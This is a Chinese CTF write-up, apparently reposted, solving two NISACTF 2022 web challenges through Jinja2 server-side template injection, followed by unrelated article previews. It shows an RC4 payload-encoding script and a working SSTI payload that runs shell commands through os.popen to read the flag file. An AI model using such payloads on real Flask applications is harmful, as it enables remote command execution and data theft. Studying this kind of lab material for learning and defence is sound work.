nssctf web 入门(10)

news2025/1/11 14:31:07

 

[NISACTF 2022]midlevel

[NISACTF 2022]midlevel

 尝试使用x-forwarded-for 发现可行判断是不是ssti

 确定是ssti模板注入

 

[NISACTF 2022]is secret

[NISACTF 2022]is secret

根据这个我们去看看secret 

 这里看到这个猜测是通过get传入secret的值然后会机密我们的值

 

我们发现传入的值为5位数时页面错误

 

 根据这个页面我们知道了里面有app.py tempkating.py environment.py等py文件

if(secret==None):  #判断secret是不是空
        return 'Tell me your secret.I will encrypt it so others can\'t see' #是则返回Tell me your secret.I will encrypt it so others can\'t see
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密 通过rc4方法 密钥是HereIsTreasure
    deS=rc.do_crypt(secret)                 #通过do_crypt对secret解密并赋值给deS
 
    a=render_template_string(safe(deS)) #通过Flask框架的render_template_string将解密后的结果deS渲染为模板字符串a safe函数对deS进行安全处理,防止xss漏洞
 
    if 'ciscn' in a.lower():  #检测a中是否包含ciscn忽略大小写
        return 'flag detected!'    #返回消息flag detected!
    return a #返回a即解密后的a
 

 这里涉及Flask服务器

ssti漏洞一般会造成任意文件读取漏洞和rce远程控制后台系统

漏洞成因是因为没有严格控制用户的输入

我们寻找ssti漏洞常用2*2这种因为在模板注入中{{str}}中如果而str是如果get post传递的值那有两总结果是输出2*2和4结果等于4证明执行了2*2返回了结果存在ssti 所以我们使用输入{{2*2}}或者直接传入2*2

  

这里绿线代表返回值就是49红线代表返回{{7.7}}

先了解render_template_string

render_template_string函数在Flask框架中,render_template_string会将传入的模板字符解析为jinjia2模板语句,并将其编译成python代码 也就是通过render_template_string会将字符串变成python代码

这里要rec加密我们就网上找个

import base64
from urllib import parse
 
def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
 
def rc4_init_sbox(key):
    s_box = list(range(256)) 
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
 
key = "HereIsTreasure"  #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)

{{ config.__class__.__init__.__globals__['os'].popen('cat /f*').read() }}

config在这个代码片段中,使用config作为占位符是因为这个变量在模板渲染时已经存在

class 魔术方法用于查找父类这里用于查找‘’也就是字符串的父类  

init魔术方法代用于初始化操作

__globals__是pytohn中函数和方法对象的一个属性

__globals__['os']代表使用os模块

.popen()方法咱操作系统中打开一个子进程,并执行cat /f*的命令

.read()通过read方法从子进程中读取出数据

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/436474.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

优秀软件方法学“漫游记”

你好,我是东(在极客时间的 ID 是 Fredo)。大学的时候我读的是计算机专业,现在是一名工作了近3年的程序员,很高兴能和你分享我的学习体会。 我是怎样学习课程的? 首先聊聊我是怎么学习这门课的。 DDD 是一…

智网工程师培训一些心得

智网工程师培训一些心得 MYSQLApache Flask开发小程序 MYSQL MYSQL的日期如果定义为datetime类型,比较的时候可以使用 entry_form.exercise_date between 2022-1-1 and 2023-4-19 日期可以是非2位宽对齐方式 日期比较也可以使用大于或者小于号MYSQL支持定时备份数…

学习数据结构第6天(栈的基本概念)

栈的基本概念 栈的定义栈的基本操作栈的存储结构 栈的定义 栈(Stack)是一种基于先进后出(FILO)或者后进先出(LIFO)的数据结构,是一种只允许在一端进行插入和删除操作的特殊线性表。 栈按照先进后出的原则存储数据,先进入的数据被压入栈底,最…

数据结构初阶(链表)

文章目录 一、链表的基础概念1.1 什么是链表1.2 分类1.3 链表的底层代码1.4 例题1.5 LinkedList 的实现(1)什么是LInkedList(2)底层代码(3)LinkedLIst的使用 1.6 ArrayList和LinkedList的区别 一、链表的基…

Spring底层架构核心概念

文章目录 Spring底层架构核心概念BeanDefinitionBeanDefinitionReaderAnnotatedBeanDefinitionReaderXmlBeanDefinitionReaderClassPathBeanDefinitionScanner BeanFactoryApplicationContext国际化资源加载获取运行时环境事件发布 类型转换PropertyEditorConversionServiceTyp…

20行Python代码获取 心碎榜单文件保存本地,准备开始emo......

人生苦短 我用python(emo版) (语气充满悲伤…) 今天咱们试试只用20行代码来实现 批量获取 某某云 文件保存本地,炒鸡简单! 悄悄的告诉你,其实不到20行代码~ 事前准备 软件环境 环境Python3.8编辑器是pycharm 模块…

轻松掌握k8s的kubectl使用命令行操作01知识点

程序员使用的kubectl,只能在主节点使用kubectl命令 1、查看集群所有节点 kubectl get nodes 2、根据配置文件,给集群创建资源 kubectl apply -f xxxx.yaml 3、查看集群部署了哪些应用 kubectl get pods -A 4、指定查看命名空间部署了哪些应用 不指…

[DSCoding2] 反转链表——迭代法

题目描述 核心思路 观察上图可以发现,将链表反转后,原有的结点间的引用关系发生了改变,比如反转前1指向2,反转后2指向1, 所以我们可以从修改节点间的引用关系下手。 在遍历链表时,将当前节点的next指针指向…

ReentrantLock原理

实现了Lock接口 内部也维护了一个同步器Sync继承自AQS,Sync是抽象的,两个实现NonFairSync和FairSync public ReentrantLock() {sync new NonfairSync(); } public ReentrantLock(boolean fair) {sync fair ? new FairSync() : new NonfairSync(); }非…

算法训练Day30:332.重新安排行程 51. N皇后 37. 解数独

文章目录 重新安排行程题解 [N 皇后](https://leetcode.cn/problems/n-queens/description/)题解 解数独题解 重新安排行程 CategoryDifficultyLikesDislikesContestSlugProblemIndexScorealgorithmsHard (47.57%)7650--0 Tags Companies 给你一份航线列表 tickets &#xf…

微服务学习——微服务

认识微服务 单体架构 将业务的所有功能集中在一个项目中开发,打成一个包部署。 优点: 架构简单部署成本低 缺点: 耦合度高 分布式架构 根据业务功能对系统进行拆分,每个业务模块作为独立项目开发,称为一个服务。 优点: 降低服务耦合有利…

【LeetCode】剑指 Offer 58. 反转字符串 p284 -- Java Version

1. 题目介绍(58. 反转字符串) 面试题58:翻转字符串, 一共分为两小题: 题目一:翻转单词顺序题目二:左旋转字符串 2. 题目1:翻转单词顺序 题目链接:https://leetcode.cn/p…

使用 ip2region 获取用户的 IP 归属地

目录 1. ip2region 简介2. 使用步骤2.1 下载资源2.2 引入依赖2.3 编写工具类2.3.1 获取 IP 地址2.3.2 根据 IP 地址获取 IP 归属地2.3.3 完整代码 2.4 结果测试 1. ip2region 简介 ip2region 是一个离线IP地址定位库和IP定位数据管理框架,10微秒级别的查询效率&…

部署zabbix代理服务器和snmp监控

目录 zabbix代理服务器 分布式监控的作用 部署zabbix代理服务器 在 Web 页面配置 agent 代理 snmp监控 SNMP简介 部署zabbix-snmp 服务端安装snmp监控程序 在 Web 页面配置 snmp 方式监控 zabbix代理服务器 分布式监控的作用 分担 server 的集中式压力 解决多机房之…

HTTP | 强缓存与协商缓存

缓存,开发绕不开的环节。 web缓存分为很多种,比如数据库缓存、代理服务器缓存、CDN缓存,以及浏览器缓存(localStorage, sessionstorage, cookie)。 一个web应用,需要各式各样的资源(html/css/…

【C++】C++11 右值引用和移动语义

文章目录 一、左值与左值引用二、右值与右值引用三、左值引用和右值引用的比较四、右值引用的使用场景和意义1、左值引用的短板2、移动构造和移动赋值3、STL 容器的变化 五、万能引用与完美转发1、万能引用2、完美转发 六、新增默认成员函数七、成员变量的缺省值八、default 和…

【Blender建模】newbird从零开始学+新手常见问题处理

目标 第一阶段:在跟着教程下,熟悉如何使用blender 教程地址:https://www.youtube.com/watch?vnIoXOplUvAw 一、移动、旋转、扩展各视角下的物体,熟悉各个窗口 鼠标中键(Shift)控制视角的方向 ~键快速选择…

Redis --- 入门、数据类型

一、前言 1.1、什么是Redis Redis是一个基于内存的key-value结构数据库。Redis 是互联网技术领域使用最为广泛的存储中间件,它是「Remote Dictionary Service」的首字母缩写,也就是「远程字典服务」。 基于内存存储,读写性能高适合存储热点…

Pytorch基础 - 5. torch.cat() 和 torch.stack()

目录 1. torch.cat(tensors, dim) 2. torch.stack(tensors, dim) 3. 两者不同 torch.cat() 和 torch.stack()常用来进行张量的拼接,在神经网络里经常用到。且前段时间有一个面试官也问到了这个知识点,虽然内容很小很细,但需要了解。 1. t…

Spring(10. 面试问题简析)学习笔记

上一篇:9. Spring 底层原理 文章目录 1. 对Spring的IOC机制的理解2. 对spring的AOP机制的理解3. 了解过cglib动态代理吗?他跟jdk动态代理的区别是什么?4. 能说说Spring中的Bean是线程安全的吗?5. Spring的事务实现原理是什么&…